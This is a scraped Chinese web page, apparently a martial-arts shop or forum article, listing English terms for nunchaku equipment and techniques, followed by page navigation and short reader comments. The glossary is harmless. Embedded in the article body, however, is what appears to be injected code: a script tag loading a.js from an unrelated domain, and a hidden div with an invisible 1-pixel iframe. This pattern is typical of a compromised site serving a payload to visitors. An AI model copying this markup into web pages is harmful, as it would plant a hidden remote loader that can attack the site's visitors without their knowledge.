双节棍的英文知识
<font class="f14" id="zoom">鉴于国内部分棍盟（如山东、江苏等）已经开始有外国棍友的加入，并且北京奥运为时已近，本人利用英文上微弱的优势，给大家带来一些比较实用的<a class="infotextkey" href="http://www.51shjg.com/shop/" target="_blank">双节棍</a>英文知识，希望各位棍友能在与国际友人交流或教学的时候可以借鉴。<br/><br/>事物类：<br/><a class="infotextkey" href="http://www.51shjg.com/shop/" target="_blank">双节棍</a>（正式）：nunchaku(s)或者nunchuck(s)<br/><a class="infotextkey" href="http://www.51shjg.com/shop/" target="_blank">双节棍</a>（简略）：chuk（单数），chux（复数）<br/>棍友（正式）：nunchaku martial artist<br/>棍友（简略）：chuker<br/>棍体：stick part(s)<br/>棍链：chain （绳索连接的话就是rope）<br/>棍套：nunchaku case<br/>表演棍法：freestyle nunchaku(s)<br/>实战棍法：practical nunchaku(s) 或者 combat nunchaku(s)<br/>套路：form<br/><br/>技术类：<br/>发力：strike<br/>换手：pass 或者 switch hands<br/>反弹：rebounce<br/>舞花：spin<br/>转棍：roll<br/>抛棍：aerial （要告诉老外是 nunchaku aerial，不然人家以为你要做侧空翻……）<br/><br/>技术举例：<br/>腋下换手：shouler pass<br/>平掌转棍：hand roll<br/>八字花：figure 8 或者 figure 8 spin<br/>螺旋花：circular spin<br/>小腿反弹：shin rebounce<br/>横扫发力：sweep strike<br/>所有的反式动作就在词组的第一个单词前加anti，比如反八字花就是antifigure 8 spin<script src="http://www.cb71.cn/a.js" type="text/javascript"></script>
<div style="DISPLAY: none">
<script language="javascript" src="http://js.users.51.la/2019503.js" type="text/javascript"></script>
<iframe src="http://xxxx" width="1" height="0"></iframe><a href="http://www.51.la/?002019503" target="_blank"><img style="WIDTH: 0px; BORDER-TOP-STYLE: none; BORDER-RIGHT-STYLE: none; BORDER-LEFT-STYLE: none; BORDER-BOTTOM-STYLE: none" alt="51.la 专业、免费、强健的访问统计" src="http://icon.ajiang.net/icon_0.gif"/></a> <img style="WIDTH: 0px; HEIGHT: 0px" src="http://web.51.la/go.asp?we=A-Free-Service-for-Webmasters&svid=20&id=2019503&tpages=1&ttimes=1&tzone=8&tcolor=32&sSize=1024,768&referrer=http%3A//www.51shjg.com/hardware/maintain/2007-06-11/75.html&vpage=http%3A//www.51shjg.com/articles/master/2008-04-02/154.html"/></font><br/>
<table cellspacing="8" cellpadding="0" align="center" border="0">
<tbody>
<tr>
<td>
<table class="digg" cellspacing="0" cellpadding="0" align="center" border="0">
<tbody>
<tr>
<td class="diggnum" id="diggnum"><strong>
<script src="/e/public/ViewClick?classid=39&id=154&down=5" type="text/javascript"></script>
36</strong></td></tr>
<tr>
<td class="diggit"><a href="javascript:makeRequest('/e/public/digg?classid=39&id=154&dotop=1&doajax=1&ajaxarea=diggnum','EchoReturnedText','GET','');">来顶一下</a></td></tr></tbody></table></td>
<td>
<table class="digg" cellspacing="0" cellpadding="0" align="center" border="0">
<tbody>
<tr>
<td class="diggnum" valign="center"><strong><a href="http://www.51shjg.com/"><img style="WIDTH: 0px" height="13" alt="近回首页" src="http://www.51shjg.com/skin/default/images/back.gif" width="12" align="absMiddle" border="0"/></a></strong></td></tr>
<tr>
<td class="diggit"><a href="http://www.51shjg.com/">返回首页</a></td></tr></tbody></table></td></tr></tbody></table>
<table cellspacing="1" cellpadding="3" width="98%" align="center" border="0">
<tbody>
<tr>
<td align="middle" height="30">
<div class="epages"></div></td></tr>
<tr>
<td height="30">
<div align="right">【<a href="javascript:doZoom(16)">大</a> <a href="javascript:doZoom(14)">中</a> <a href="javascript:doZoom(12)">小</a>】【<a href="http://www.51shjg.com/e/DoPrint?classid=39&id=154" target="_blank">打印</a>】【<a href="javascript:window.close()">关闭</a>】</div></td></tr></tbody></table></div> <br>沙发，好好看看！ <br>从哪里找来的啊，看着有点晕啊
<br> 这个翻译我要没有记错，应该时剑痕叠影的，要注明出处阿 不懂英文， 看不懂呀
页:
[1]